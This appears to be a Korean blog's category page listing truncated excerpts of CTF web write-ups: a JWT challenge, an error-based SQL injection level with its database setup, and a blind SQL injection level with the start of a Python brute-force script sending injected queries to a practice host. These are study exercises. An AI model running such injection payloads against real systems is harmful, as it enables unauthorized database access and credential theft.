전체 글 82

JWT (JSON Web Token) 취약점 관련 문제

위와 같은 웹페이지에서 admin 권한으로 로그인하여 flag를 획득하는 문제이다.url로 /login에 접근해보았지만 405가 뜨면서 접근할 수 없다. (/flag도 마찬가지) 따라서 burp로 데이터를 보내야 될 것 같다.그래서 위의 사진과 같이 header에 Content-Type: application/json를 추가하고, {"username": "guest", "password": "guest"} 페이로드를 삽입했더니 오른쪽 response에 token이 출력된 것을 확인할 수 있다. "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.1bAygaodib4H4E3iMScGZ4DfAy1NZMvCI8hAXP_NCfA" 저번 핵테온 c..

CTF & Wargame(WEB) 2025.05.02

level 1 error based sql injection

문제 분석문제 링크를 통해 접속해보면 위와 같이 uid에 파라미터로 test를 입력하면 화면에 test가 뜨는 것을 확인할 수 있다. DB 분석CREATE DATABASE IF NOT EXISTS `users`;GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';USE `users`;CREATE TABLE user( idx int auto_increment primary key, uid varchar(128) not null, upw varchar(128) not null);INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');INSERT INTO user(u..

CTF & Wargame(WEB) 2025.04.22

level 2 blind sql injection advanced

익스플로잇 코드# admin 비밀번호의 길이를 알아내야 함# 비밀번호에는 한글과 아스키코드가 섞여있음# --> 그냥 length 함수 쓰면 오류가 날 수 있기 때문에 char_length 함수 사용해야함import requestshost = "http://host3.dreamhack.games:8475/"pw_len = 0def password_length(): global pw_len while True: pw_len += 1 query = f"admin' and char_length(upw) = {pw_len}-- -" r = requests.get(f"{host}?uid={query}") if "exists" in r.text: ..

CTF & Wargame(WEB) 2025.04.22